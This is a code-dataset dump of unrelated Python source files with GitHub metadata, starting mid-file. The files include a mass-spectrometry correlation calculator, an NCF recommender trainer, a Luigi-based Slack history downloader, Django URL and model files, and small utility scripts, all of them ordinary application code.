bio_pre = float(leading_bio_scan[3][0][8:])\n        z = int(leading_bio_scan[4][0][7])\n        syn_pre = float(leading_syn_scan[3][0][8:])\n        increment = 1/z\n        bio_pre_list = [bio_pre, bio_pre + increment, bio_pre + 2*increment]\n        syn_pre_list = [syn_pre, syn_pre + increment, syn_pre + 2*increment]\n        bio_window, syn_window = [], []\n        for i in range(0, len(bio_pre_list)):\n            bio_window.append([bio_pre_list[i] - bio_pre_list[i]/1000000*pro_mz_tol, bio_pre_list[i] + bio_pre_list[i]/1000000*pro_mz_tol])\n        for i in range(0, len(syn_pre_list)):\n            syn_window.append([syn_pre_list[i] - syn_pre_list[i]/1000000*pro_mz_tol, syn_pre_list[i] + syn_pre_list[i]/1000000*pro_mz_tol])\n        \n        bio_list=[]\n        for i in range(5,len(leading_bio_scan)-1):\n            bio_list.append(leading_bio_scan[i])\n        syn_list=[]\n        for i in range(5,len(leading_syn_scan)-1):\n            syn_list.append(leading_syn_scan[i])\n        for i in range(0,len(syn_list)):\n            mz=float(syn_list[i][0])\n            for j in range(0,len(bio_list)):\n                if ((mz-mz/1000000*pro_mz_tol) <= float(bio_list[j][0]) <= (mz+mz/1000000*pro_mz_tol)) and (len(syn_list[i])==2):\n                    syn_list[i].append(bio_list[j][1])\n                    syn_list[i].append(bio_list[j][0])\n                elif ((mz-mz/1000000*pro_mz_tol) <= float(bio_list[j][0]) <= (mz+mz/1000000*pro_mz_tol)) and (len(syn_list[i])>2) and (abs(mz-float(bio_list[j][0])) < abs(mz-float(syn_list[i][3]))):\n            #If the previous match and the current match are equally good, algorithm keeps the first match (lower m/z).\n            #This makes sense because software is scanning from low to high so you would prioritize what is likely to be the C12 peak.\n                    syn_list[i][2]=bio_list[j][1]\n                    syn_list[i][3]=bio_list[j][0]\n                elif len(syn_list[i])==2 and j==(len(bio_list)-1):\n                    syn_list[i].append(0)\n                    syn_list[i].append(0)\n            #Find any instances where a bio value was used more than once.\n        for k in range(0,len(bio_list)):\n            times_used=0\n            uses=[]\n            mz=float(bio_list[k][0])\n            for l in range(0,len(syn_list)):\n                if float(syn_list[l][3])==mz:\n                    uses.append(syn_list[l][0])\n                    times_used=times_used+1\n            if times_used>1:\n                uses_diff=[]\n                for m in range(0,len(uses)):\n                    uses_diff.append(abs(float(uses[m])-mz))\n                uses_diff_sort=[]\n                uses_diff_sort=uses_diff_sort+uses_diff\n                uses_diff_sort.sort()\n                best=uses_diff_sort[0]\n                best_mz=uses[uses_diff.index(best)]\n            #If more than one match had the same diff, index reports the one with the lowest m/z, and that is the one that will be used.\n                for n in range(0,len(syn_list)):\n                    if (float(syn_list[n][3])==mz) and (float(syn_list[n][0])!=float(best_mz)):\n                        syn_list[n][2]=0\n                        syn_list[n][3]=0\n            #Now that you deleted this match, you need to see if there was a rank2 match in the bio spectrum. Make sure you don't add back the rank1 match.\n                        syn_mz=float(syn_list[n][0])\n                        for o in range(0,len(bio_list)):\n                            if ((syn_mz-syn_mz/1000000*pro_mz_tol) <= float(bio_list[o][0]) <= (syn_mz+syn_mz/1000000*pro_mz_tol)) and (float(bio_list[o][0]) != mz) and (abs(syn_mz-float(bio_list[o][0])) < abs(syn_mz-float(syn_list[n][3]))):\n            #The syn_list row here will always be 4 columns long so don't need to check its length. \n                                syn_list[n][2]=bio_list[o][1]\n                                syn_list[n][3]=bio_list[o][0]\n            #During this process, you might have made a second instance of an bio m/z you already checked, so you need to report an error if this happens...\n            #I realized that whenever i have it put in the rank2 match to replace a rank 1 that had already been used, if I just have the criteria that the rank 2 can't already exist as a hit then that would take care of it.\n            #I don't know though if that approach would ensure that this \"rank2\" match ended up assigned to the appropriate syn m/z, so maybe i have to do a nested check here where if it does already exist elsewhere it decides which spot is better                        \n        for p in range(0,len(bio_list)):\n            times_used=0\n            uses=[]\n            mz=float(bio_list[p][0])\n            for q in range(0,len(syn_list)):\n                if float(syn_list[q][3])==mz:\n                    uses.append(syn_list[q][0])\n                    times_used=times_used+1\n            if times_used>1:\n                print(\"\")\n                print(\"The following m/z in the bio spectrum was used more than once:\")\n                print(mz)\n            elif times_used==0:\n                syn_list.append([0,0,bio_list[p][1],bio_list[p][0]])\n            #Check if you have any instances where when matching bio peaks to syn peaks the m/z got out of order.\n        for r in range(0,len(syn_list)-1):\n            if (float(syn_list[r][3]) > float(syn_list[r+1][3])) and (float(syn_list[r+1][3]) != 0) and (float(syn_list[r+1][0]) != 0):\n                print(\"\")\n                print(\"The following peaks from the bio file were switched during matching:\")\n                print(syn_list[r][3])\n                print(syn_list[r+1][3])\n\n        #PCC: Filter\n        \n        #convert pcc abund thresh into a number relative to max and then add to conditions below\n        \n        syn_list_nopre = []\n        for i in range(len(syn_list)):            \n            precursor = \"no\"\n            for j in range(0, len(bio_window)):\n                if bio_window[j][0] <= float(syn_list[i][3]) <= bio_window[j][1]:\n                    precursor = \"yes\"\n            for j in range(0, len(syn_window)):\n                if syn_window[j][0] <= float(syn_list[i][0]) <= syn_window[j][1]:\n                    precursor = \"yes\"\n            if precursor == \"no\":\n                syn_list_nopre.append(syn_list[i])\n\n        syn1max = max(syn_list_nopre, key = lambda x: float(x[1]))\n        syn2max = max(syn_list_nopre, key = lambda x: float(x[2]))\n        synmin = float(syn1max[1])*PCC_abund_thresh/100\n        biomin = float(syn2max[2])*PCC_abund_thresh/100\n\n        for i in range(len(syn_list_nopre)):            \n            if (float(syn_list_nopre[i][1])>abund_thresh and float(syn_list_nopre[i][1])>synmin) or (float(syn_list_nopre[i][2])>abund_thresh and float(syn_list_nopre[i][2])>biomin):\n                syn_list_filtered.append(syn_list_nopre[i])\n\n        #PCC: Calculate sample PCC\n\n        filtered_bio_total, filtered_syn_total = 0, 0\n        for i in range(0, len(syn_list_filtered)):\n            bio_abund=float(syn_list_filtered[i][2])\n            syn_abund=float(syn_list_filtered[i][1])\n            filtered_bio_total=filtered_bio_total+bio_abund\n            filtered_syn_total=filtered_syn_total+syn_abund\n        filtered_bio_avg=filtered_bio_total/len(syn_list_filtered)\n        filtered_syn_avg=filtered_syn_total/len(syn_list_filtered)\n        r_numerator=0\n        for i in range(0, len(syn_list_filtered)):\n            r_numerator=r_numerator+(float(syn_list_filtered[i][2])-filtered_bio_avg)*(float(syn_list_filtered[i][1])-filtered_syn_avg)\n        sum_bio_sq=0\n        sum_syn_sq=0\n        for i in range(0, len(syn_list_filtered)):\n            sum_bio_sq=sum_bio_sq+(float(syn_list_filtered[i][2])-filtered_bio_avg)**2\n            sum_syn_sq=sum_syn_sq+(float(syn_list_filtered[i][1])-filtered_syn_avg)**2\n        PCC_r=r_numerator/(sqrt(sum_bio_sq)*sqrt(sum_syn_sq))\n\n    return(syn_list_filtered,PCC_r,warning,biomin,synmin)\n    \n##################################################################################################################################################################\n","repo_name":"Delong-Lab/PSM_validator","sub_path":"PCC_calculator.py","file_name":"PCC_calculator.py","file_ext":"py","file_size_in_byte":9573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5054504717","text":"import luserver.components.script as script\r\nfrom luserver.world import server\r\n\r\nclass ScriptComponent(script.ScriptComponent):\r\n\tdef on_enter(self, player):\r\n\t\tfor obj in server.world_data.objects.values():\r\n\t\t\tif obj.lot == 4945 and self.script_vars[\"teleport_respawn_point_name\"] in obj.groups: # respawn point lot\r\n\t\t\t\tplayer.render.play_animation(\"teledeath\", play_immediate=True, priority=4)\r\n\t\t\t\tself.object.call_later(0.5, self.teleport, player, obj)\r\n\t\t\t\tbreak\r\n\r\n\tdef teleport(self, player, obj):\r\n\t\tplayer.char.camera.play_cinematic(path_name=self.script_vars[\"cinematic\"], start_time_advance=0)\r\n\t\tplayer.char.teleport(ignore_y=False, pos=obj.physics.position, set_rotation=True, x=obj.physics.rotation.x, y=obj.physics.rotation.y, z=obj.physics.rotation.z, w=obj.physics.rotation.w)\r\n\t\tplayer.render.play_animation(\"paradox-teleport-in\", play_immediate=True, priority=4)\r\n","repo_name":"lcdr/luserver","sub_path":"luserver/scripts/nexus_tower/paradox_teleporter.py","file_name":"paradox_teleporter.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"16"}
+{"seq_id":"8429854946","text":"import os, re\nimport numpy as np\n\ninput_dir = '/gpfs/alpine/world-shared/stf011/atsaris/datagnn/datagnn_ras_August2020/KRAS_g12D_r0_chain2_25'\ncnt = 0\nfreq = 1\n\nfilenames = os.listdir(input_dir)\nnum_list_on = []\nnum_list_off = []\n\nfor fil in filenames:\n\n    if re.search(\"_ras_on.npz\", fil) is not None:\n        searchObj = re.finditer(\"_ras_on.npz\", fil, re.M | re.I)\n        for match in searchObj:\n            start = match.span()[0]\n            end = match.span()[1]\n        num_list_on.append(int(fil[:start]))\n\n    if re.search(\"_ras_off.npz\", fil) is not None:\n        searchObj = re.finditer(\"_ras_off.npz\", fil, re.M | re.I)\n        for match in searchObj:\n            start = match.span()[0]\n            end = match.span()[1]\n        num_list_off.append(int(fil[:start]))\n\n\n\nnum_list_on = np.array(num_list_on)\nnum_list_off = np.array(num_list_off)\nnum_list_on = np.sort(num_list_on)\nnum_list_off = np.sort(num_list_off)\n\nfor i in range(0, num_list_on.shape[0]):\n    if (cnt%freq) == 0:\n        print('%s/%d_ras_on.npz'%(input_dir, num_list_on[i]))\n        print('%s/%d_ras_off.npz'%(input_dir, num_list_off[i]))\n    cnt+=1\n","repo_name":"tsaris/gnn-protmd","sub_path":"scripts/gen_list.py","file_name":"gen_list.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"17830713519","text":"# -*- coding: utf-8 -*-\n\nimport sys\nimport os\n\n# Append parent dir to sys path.\nos.sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\n\nfrom cube.io_utils.model_store import ModelMetadata, ModelStore\nfrom datetime import datetime\n\nif __name__ == \"__main__\":    \n    print(\"Usage: python3 export_model.py path-to-my-model --tokenizer(optional) --compound-word-expander(optional) --lemmatizer(optional) --tagger(optional) --parser(optional)\")\n    print(\"Example: 'python3 export_model.py path-to-my-model --tokenizer --tagger' will create a zip file named 'language_code-model_version.zip' (taken from the metadata.json) containing a tokenizer and a tagger.\")\n       \n    # parameter checking\n    _tokenizer = False\n    _compound_word_expander = False  \n    _lemmatizer = False  \n    _parser = False  \n    _tagger = False \n    model_folder_path = \"\"\n    \n    for param in sys.argv:\n        if not param.startswith(\"--\"):\n            model_folder_path = param\n        else:\n            if \"--tokenizer\" in param:\n                _tokenizer = True\n            if \"--compound-word-expander\" in param:\n                _compound_word_expander = True\n            if \"--lemmatizer\" in param:\n                _lemmatizer = True\n            if \"--tagger\" in param:\n                _tagger = True\n            if \"--parser\" in param:\n                _parser = True                    \n    \n    print(\"\\n\\tModel folder: \"+model_folder_path)\n    print(\"\\tUse tokenizer: {}\".format(_tokenizer))\n    print(\"\\tUse compound word expander: {}\".format(_compound_word_expander))\n    print(\"\\tUse lemmatizer: {}\".format(_lemmatizer))\n    print(\"\\tUse tagger: {}\".format(_tagger))\n    print(\"\\tUse parser: {}\\n\".format(_parser))\n    \n    # check if path exists\n    if not os.path.exists(model_folder_path):\n        raise Exception (\"Model folder not found!\")\n        \n    # check if metadata exists\n    if not os.path.exists(os.path.join(model_folder_path,\"metadata.json\")):\n        raise Exception (\"metadata.json not found in model folder!\")\n    \n    # check if metadata is valid\n    metadata = ModelMetadata()\n    metadata.read(os.path.join(model_folder_path, \"metadata.json\"))\n    \n    output_folder_path = os.path.dirname(model_folder_path)    \n    model_store_object = ModelStore(disk_path=output_folder_path)\n    \n    model_store_object.package_model(model_folder_path, output_folder_path, metadata, should_contain_tokenizer = _tokenizer, should_contain_compound_word_expander = _compound_word_expander, should_contain_lemmatizer = _lemmatizer, should_contain_tagger = _tagger, should_contain_parser = _parser)","repo_name":"adobe/NLP-Cube","sub_path":"scripts/export_model.py","file_name":"export_model.py","file_ext":"py","file_size_in_byte":2621,"program_lang":"python","lang":"en","doc_type":"code","stars":537,"dataset":"github-code","pt":"16"}
+{"seq_id":"72067510727","text":"import argparse\nimport os\n\nimport torch\nimport torch.backends.cudnn as cudnn\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.utils.data as data\nfrom torch.cuda.amp import GradScaler, autocast\nfrom tqdm.auto import tqdm\n\nfrom .model import NCF\nfrom .utils.data import NCFData, get_dataset\nfrom .utils.helper import load_config\nfrom .utils.metrics import get_metrics\n\ncfg = load_config(\"./config/config.yaml\")\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--out\", default=True, help=\"Save the model\")\nparser.add_argument(\"--gpu\", type=str, default=\"0\", help=\"GPU card ID\")\nargs = parser.parse_args()\n\n# Set GPU\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = args.gpu\ncudnn.benchmark = True\n\n\ndef construct_data():\n    \"\"\"Helper function to load data\"\"\"\n    train_data, test_data, num_users, num_items, train_mat = get_dataset()\n\n    # construct dataset\n    train_set = NCFData(\n        data=train_data,\n        num_items=num_items,\n        train_mat=train_mat,\n        num_negative_samples=cfg[\"params\"][\"num_negative_samples\"],\n        is_training=True,\n    )\n    test_set = NCFData(\n        data=test_data,\n        num_items=num_items,\n        train_mat=train_mat,\n        num_negative_samples=0,\n        is_training=False,\n    )\n    train_loader = data.DataLoader(\n        dataset=train_set,\n        batch_size=cfg[\"params\"][\"batch_size\"],\n        shuffle=True,\n        num_workers=4,\n    )\n    test_loader = data.DataLoader(\n        dataset=test_set,\n        batch_size=cfg[\"params\"][\"num_test_negative_samples\"] + 1,\n        shuffle=False,\n        num_workers=0,\n    )\n    return num_users, num_items, train_loader, test_loader\n\n\ndef load_pretrain_models():\n    if cfg[\"model_type\"] != \"NeuMF-pre\":\n        return None, None\n    pretrained_gmf = torch.load(cfg[\"model_path\"][\"gmf\"])\n    pretrained_mlp = torch.load(cfg[\"model_path\"][\"mlp\"])\n    return pretrained_gmf, pretrained_mlp\n\n\n# sourcery skip: remove-unused-enumerate\nif __name__ == \"__main__\":\n    num_users, num_items, train_loader, test_loader = construct_data()\n    (\n        num_users,\n        num_items,\n        pretrained_gmf,\n        pretrained_mlp,\n    ) = load_pretrain_models()\n\n    model = NCF(\n        num_users=num_users,\n        num_items=num_items,\n        num_factors=cfg[\"params\"][\"num_factors\"],\n        num_layers=cfg[\"params\"][\"num_layers\"],\n        dropout=cfg[\"params\"][\"dropout\"],\n        model_type=cfg[\"model_type\"],\n        pretrained_gmf=pretrained_gmf,\n        pretrained_mlp=pretrained_mlp,\n    )\n    model.cuda()\n    loss_f = nn.BCEWithLogitsLoss()\n\n    if cfg[\"model_type\"] == \"NeuMF-pre\":\n        optimizer = optim.SGD(\n            model.parameters(), lr=cfg[\"params\"][\"learning_rate\"]\n        )\n    else:\n        optimizer = optim.Adam(\n            model.parameters(), lr=cfg[\"params\"][\"learning_rate\"]\n        )\n\n    # metrics\n    best_hr, best_ndcg, best_epoch = 0, 0, 0\n\n    # Gradient scaler\n    scaler = GradScaler()\n\n    # training process\n    for epoch in range(cfg[\"params\"][\"epochs\"]):\n        model.train()\n        train_loader.dataset.negative_sampling()\n\n        for idx, (user, item, label) in enumerate(tqdm(train_loader)):\n            user = user.cuda()\n            item = item.cuda()\n            label = label.float().cuda()\n\n            model.zero_grad()\n            with autocast():\n                pred = model(user, item)\n                loss = loss_f(pred, label)\n            scaler.scale(loss).backward()\n            scaler.step(optimizer)\n            scaler.update()\n\n        model.eval()\n        hr, ndcg = get_metrics(model, test_loader, cfg[\"params\"][\"top_k\"])\n\n        print(f\"[Epoch {epoch}] :: Hit Ratio: {hr:.3f}\\tNDCG: {ndcg:.3f}\")\n\n        if hr > best_hr:\n            best_hr, best_ndcg, best_epoch = hr, ndcg, epoch\n            if args.out:\n                if not os.path.exists(cfg[\"model_path\"][cfg[\"model_type\"]]):\n                    os.mkdir(cfg[\"model_path\"][cfg[\"model_type\"]])\n                torch.save(\n                    model,\n                    f'{cfg[\"model_path\"][cfg[\"model_type\"]]}{cfg[\"model_type\"]}.pth',\n                )\n\n    print(\n        f\"Done. Best epoch {epoch}\"\n        f\"Hit Ratio: {best_hr:.3f}, NDCG: {best_ndcg:.3f}.\"\n    )\n","repo_name":"otzslayer/torch-neural-collaborative-filtering","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70106131528","text":"# -*- coding: utf-8 -*-\n\nimport sys\n\nfrom pandas import to_datetime\nfrom ddf_utils.factory import CDIACLoader\n\n\nsource_dir = '../source/'\nlast_update = to_datetime('2018-02-01')\n\n\nif __name__ == '__main__':\n    cdiac = CDIACLoader()\n    updated = cdiac.has_newer_source(last_update)\n    if not updated:\n        print('no newer source!')\n        sys.exit(0)\n    cdiac.bulk_download(source_dir)\n","repo_name":"open-numbers/ddf--cdiac--co2","sub_path":"etl/scripts/_update_source.py","file_name":"_update_source.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"29943501160","text":"from validateHTMLFiles import get_tagname, readHTML, validateHTML\r\n\r\nclass Tree:\r\n    def __init__(self, data = None):\r\n        self.data = data\r\n        self.parent = None\r\n        self.child = []\r\n\r\n    def __str__(self, level = 0):\r\n        ret = \"\\t\"*level+repr(self.data)+\"\\n\"\r\n        for i in self.child:\r\n            ret += i.__str__(level+1)\r\n        return ret\r\n\r\n    def __repr__(self):\r\n        return '<tree node representation>'\r\n\r\nroot = None\r\n\r\ndef buildTree(htmlStr):\r\n    if not validateHTML(htmlStr):\r\n        return None\r\n    else:\r\n        tags_l = htmlStr.split('   ')[:-1]\r\n        html_T = Tree(get_tagname(tags_l[0]))\r\n        current = html_T\r\n        for i in tags_l[1:]:\r\n            if i[1] != '/':\r\n                new = Tree(get_tagname(i))\r\n                new.parent = current\r\n                current.child.append(new)\r\n                current = current.child[len(current.child) - 1]\r\n            elif i[1] == '/':\r\n                current = current.parent\r\n            if i[-2] == '/':\r\n                new = Tree(get_tagname(i))\r\n                current = current.parent\r\n    global root\r\n    root = html_T\r\n\r\ndef printTree():\r\n    global root\r\n    print(str(root))\r\n        \r\ndef containsTag(tag):\r\n    s = str(root)\r\n    return tag in s\r\n\r\n\r\ndef printChildren(tag):\r\n    if containsTag(tag):\r\n        global root\r\n        if root.data == tag:\r\n            printTree()\r\n        else:\r\n            helper(root, tag)\r\n\r\n#  function is a recursion helper for printChildren\r\ndef helper(x, tag):\r\n    for c in x.child:\r\n        if c.data == tag:\r\n            global root\r\n            temp = root\r\n            root = c\r\n            printTree()\r\n            root = temp\r\n        else:\r\n            helper(c, tag)\r\n\r\ndef removeTag(tag):\r\n    if containsTag(tag):\r\n        global root\r\n        if root.data != tag:\r\n            pos = find(root, tag)\r\n            parent = pos.parent\r\n            parent.child.extend(pos.child)\r\n            parent.child.remove(pos)\r\n            return True\r\n    return False\r\n\r\n# to help the removeTag function to find the tag\r\ndef find(x, tag):\r\n    for c in x.child:\r\n        if c.data == tag:\r\n            return c\r\n        else:\r\n            return find(c, tag)\r\n\r\nif __name__ == '__main__':                                                      #From Xiangyu Ren\r\n    #Test 1\r\n    htmlStr = readHTML('validHTML.html')\r\n    assert len(htmlStr) > 0\r\n    assert htmlStr.startswith('<html')\r\n    result = validateHTML(htmlStr)\r\n    assert result\r\n    print('Test 1 resulted in', 'valid' if result else 'invalid', 'HTML')\r\n    htmlT = buildTree(htmlStr)\r\n    printTree()\r\n    assert containsTag('head')\r\n    assert not containsTag('ul')\r\n    printChildren('head')\r\n    #If removeTag Bonus, uncomment below\r\n    assert removeTag('head')\r\n    printTree()\r\n\r\n    #Test 2\r\n    htmlStr = readHTML('invalidHTML.html')\r\n    assert len(htmlStr) > 0\r\n    assert htmlStr.endswith('</html>') or htmlStr.endswith('</')\r\n    result = validateHTML(htmlStr)\r\n    assert not result\r\n    print('Test 2 resulted in', 'valid' if result else 'invalid', 'HTML')\r\n    htmlT = buildTree(htmlStr)\r\n    assert htmlT is None\r\n\r\n    # Test 3\r\n    htmlStr = readHTML('test.html')\r\n    assert len(htmlStr) > 0\r\n    assert htmlStr.startswith('<html')\r\n    result = validateHTML(htmlStr)\r\n    assert result\r\n    print('Test 3 resulted in', 'valid' if result else 'invalid', 'HTML')\r\n    htmlT = buildTree(htmlStr)\r\n    printTree()\r\n    assert containsTag('head')\r\n    assert not containsTag('ul')\r\n    printChildren('head')\r\n    #If removeTag Bonus, uncomment below\r\n    assert removeTag('head')\r\n    printTree()","repo_name":"xangyr/Archive","sub_path":"PSU Courses/CMPSC 1##/assignment5/htmlTree.py","file_name":"htmlTree.py","file_ext":"py","file_size_in_byte":3641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"73552493447","text":"from django.urls import path\nfrom . import views\n\n\nurlpatterns = [\n    \n   path('', views.dashboard, name=\"dashboard\"), \n   path('about', views.about, name=\"about\"), \n   path('<int:post_id>/delete', views.delete, name=\"delete\"),\n   path('post_message', views.post_mess, name=\"post_mess\"),\n   path('add_comment/<int:id>', views.post_comment, name=\"post_comment\"),\n   path('like/<int:id>', views.add_like, name=\"add_like\"),\n   path('delete/<int:id>', views.delete_comment, name=\"delete_comment\"),\n   path('message_board/', views.message_board, name=\"message_board\"),\n   path('message_page/<int:id>', views.message_page, name=\"message_page\"),\n   path('user_profile/<int:id>', views.user_profile, name=\"user_profile\"),\n   path('update_profile_page/<int:id>', views.update_profile_page, name=\"update_profile_page\"),\n   path('edit_profile/<int:id>', views.edit_profile, name=\"edit_profile\"),\n   path('contact/', views.contact, name=\"contact\"),\n   \n   \n    \n]","repo_name":"enbaba/Car_Forum","sub_path":"Dashboard/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8105569968","text":"from __future__ import print_function\nimport json\nimport requests\nimport luigi\nimport datetime\nimport re\nimport os\nfrom slackclient import SlackClient\n\ndef slackMessageToTsvLine(message):\n    if (not message):\n        return (\"type\", \"ts\", \"user\", \"is_starred\", \"text\")\n    return (\n        message.get(\"type\"),\n        message.get(\"ts\"),\n        message.get(\"user\"),\n        message.get(\"is_starred\"),\n        (message.get(\"text\") or \"\")\n            .encode('ascii', 'ignore')\n            .replace(\"\\n\", \"\\\\n\")\n            .replace(\"\\t\", \"\\\\t\"),\n    )\n    \n\nclass DownloadSlackChannelHistoryChunk(luigi.Task):\n\n    channel_name = luigi.Parameter(\"\")\n    last_message_id = luigi.Parameter(\"\")\n    date = luigi.DateParameter(default=datetime.date.today())\n\n    def run(self):\n        # create one at https://api.slack.com/web#authentication, and set the environment variable\n        sc = SlackClient(os.environ[\"SLACK_CLIENT_TOKEN\"])\n        channel_id = 0\n\n        # Get Channel Information\n        for channel in sc.api_call(\"channels.list\")[\"channels\"]:\n            if (channel[\"name\"] == self.channel_name):\n                channel_id = channel[\"id\"]\n\n        # Get Channel History\n        if (self.last_message_id):\n            channel_history_chunk = sc.api_call(\"channels.history\", channel=channel_id, count=1000, latest=self.last_message_id)\n        else:\n            channel_history_chunk = sc.api_call(\"channels.history\", channel=channel_id, count=1000)\n        \n        if (not channel_history_chunk[\"ok\"]):\n            raise Exception('Channel not found, or permissions error', 'channel_name=' + self.channel_name)\n\n        channel_history_chunk_last_message = channel_history_chunk[\"messages\"]\n        outputdata = channel_history_chunk\n        with self.output().open('w') as outfile:\n            json.dump(outputdata, outfile, sort_keys=True, indent=4, separators=(',', ': '))\n\n    def output(self):\n        return luigi.LocalTarget(self.date.strftime('data/Slack/ChannelHistory/' + self.channel_name + '/Chunk_' + str(self.last_message_id) + '_%Y-%m-%d.json'))\n\n\nclass DownloadSlackChannelHistory(luigi.Task):\n\n    channel_name = luigi.Parameter()\n    date = luigi.DateParameter(default=datetime.date.today())\n\n    def run(self):\n        # create one at https://api.slack.com/web#authentication, and set the environment variable\n        sc = SlackClient(os.environ[\"SLACK_CLIENT_TOKEN\"])\n        channel_id = 0\n\n        # Get Channel Information\n        for channel in sc.api_call(\"channels.list\")[\"channels\"]:\n            if (channel[\"name\"] == self.channel_name):\n                channel_id = channel[\"id\"]\n\n        if (0 == channel_id):\n            raise Exception('Unable to find such channel by name', 'channel_name=' + self.channel_name)\n\n        with self.output().open('w') as outfile:\n            print(*slackMessageToTsvLine(False), file=outfile, sep='\\t')\n\n            # Get the first chunk\n            last_message_id = 0\n            taskOutput = yield DownloadSlackChannelHistoryChunk(channel_name=self.channel_name)\n            with taskOutput.open('r') as infile:\n                last_chunk = json.load(infile)\n                last_message_id = last_chunk[\"messages\"][-1:][0][\"ts\"] # TODO check 4 failures\n                for message in last_chunk[\"messages\"]:\n                    print(*slackMessageToTsvLine(message), file=outfile, sep='\\t')\n\n            # Get more chunks\n            while (last_chunk[\"has_more\"]):\n                taskOutput = yield DownloadSlackChannelHistoryChunk(channel_name=self.channel_name, last_message_id=last_message_id)\n                with taskOutput.open('r') as infile:\n                    last_chunk = json.load(infile)\n                    last_message_id = last_chunk[\"messages\"][-1:][0][\"ts\"] # TODO check 4 failures\n                for message in last_chunk[\"messages\"]:\n                    print(*slackMessageToTsvLine(message), file=outfile, sep='\\t')\n\n\n    def output(self):\n        return luigi.LocalTarget(self.date.strftime('data/Slack/ChannelHistory/' + self.channel_name + '_%Y-%m-%d.tsv'))\n\n","repo_name":"gerardobort/luigi-slack","sub_path":"slack.py","file_name":"slack.py","file_ext":"py","file_size_in_byte":4069,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"818551053","text":"import reversion\n\nfrom django.core.exceptions import MultipleObjectsReturned, ValidationError\nfrom django.db import models\nfrom django.apps import apps\n\nfrom .tracked_model import TrackedModel\nfrom .derived_sample import DerivedSample\n\nfrom ._utils import add_error as _add_error\n\n@reversion.register()\nclass SampleLineage(TrackedModel):\n    child = models.ForeignKey(\"Sample\", on_delete=models.PROTECT, related_name=\"child_sample\", help_text=\"Child sample.\")\n    parent = models.ForeignKey(\"Sample\", on_delete=models.PROTECT, related_name=\"parent_sample\", help_text=\"Parent sample.\")\n    process_measurement = models.ForeignKey(\"ProcessMeasurement\", on_delete=models.PROTECT, related_name=\"lineage\",\n                                            help_text=\"process used for sample creation.\")\n\n    def clean(self):\n        super().clean()\n        errors = {}\n\n        def add_error(field: str, error: str):\n            _add_error(errors, field, ValidationError(error))\n\n        protocol_name = self.process_measurement.process.protocol.name\n        if protocol_name == \"Extraction\":\n            # There is only a single expected derived sample for the child and parent of an extraction\n            try:\n                child_derived = self.child.derived_samples.get()\n                parent_derived = self.parent.derived_samples.get()\n            except MultipleObjectsReturned:\n                add_error(\"derived_sample\", \"Extraction child and/or parent has more than one derived sample.\")\n\n            if not errors:\n                if not child_derived.sample_kind.is_extracted:\n                    add_error(\"sample_kind\", \"Extracted sample need to be a type of Nucleic Acid.\")\n                if parent_derived.sample_kind.is_extracted:\n                    add_error(\"extracted_from\",\n                              \"Extraction process cannot be run on samples of extracted kinds like DNA and RNA.\")\n                if not child_derived.tissue_source:\n                    add_error(\"tissue_source\", \"Extracted sample need to have a tissue source.\")\n                elif child_derived.tissue_source != parent_derived.sample_kind:\n                    add_error(\"tissue_source\", \"Extracted sample tissue_source must match parent sample_kind.\")\n        elif any([protocol_name == \"Transfer\", protocol_name == \"Illumina Infinium Preparation\", protocol_name == \"DNBSEQ Preparation\"]):\n            if list(self.child.derived_samples.values_list(\"id\", flat=True).order_by(\"id\")) != list(self.parent.derived_samples.values_list(\"id\", flat=True).order_by(\"id\")):\n                add_error(\"derived_sample\", f\"Transferred sample {self.child.name} need to have the same derived samples as its parent.\")\n        elif protocol_name == \"Sample Pooling\":\n            # Check that parent.derived_samples are a subset of the child.derived_samples.\n            if not set(self.parent.derived_samples.values_list(\"id\", flat=True)).issubset(set(self.child.derived_samples.values_list(\"id\", flat=True))):\n                add_error(\"derived_sample\", f\"Pooled sample {self.child.name} does not include all the derived samples of the parent.\")\n\n        if self.child == self.parent:\n            add_error(\"child\", \"A sample cannot have itself as child.\")\n\n        if errors:\n            raise ValidationError(errors)\n\n    def save(self, *args, **kwargs):\n        self.full_clean()\n        super().save(*args, **kwargs)  # Save the object","repo_name":"c3g/freezeman","sub_path":"backend/fms_core/models/sample_lineage.py","file_name":"sample_lineage.py","file_ext":"py","file_size_in_byte":3415,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"16"}
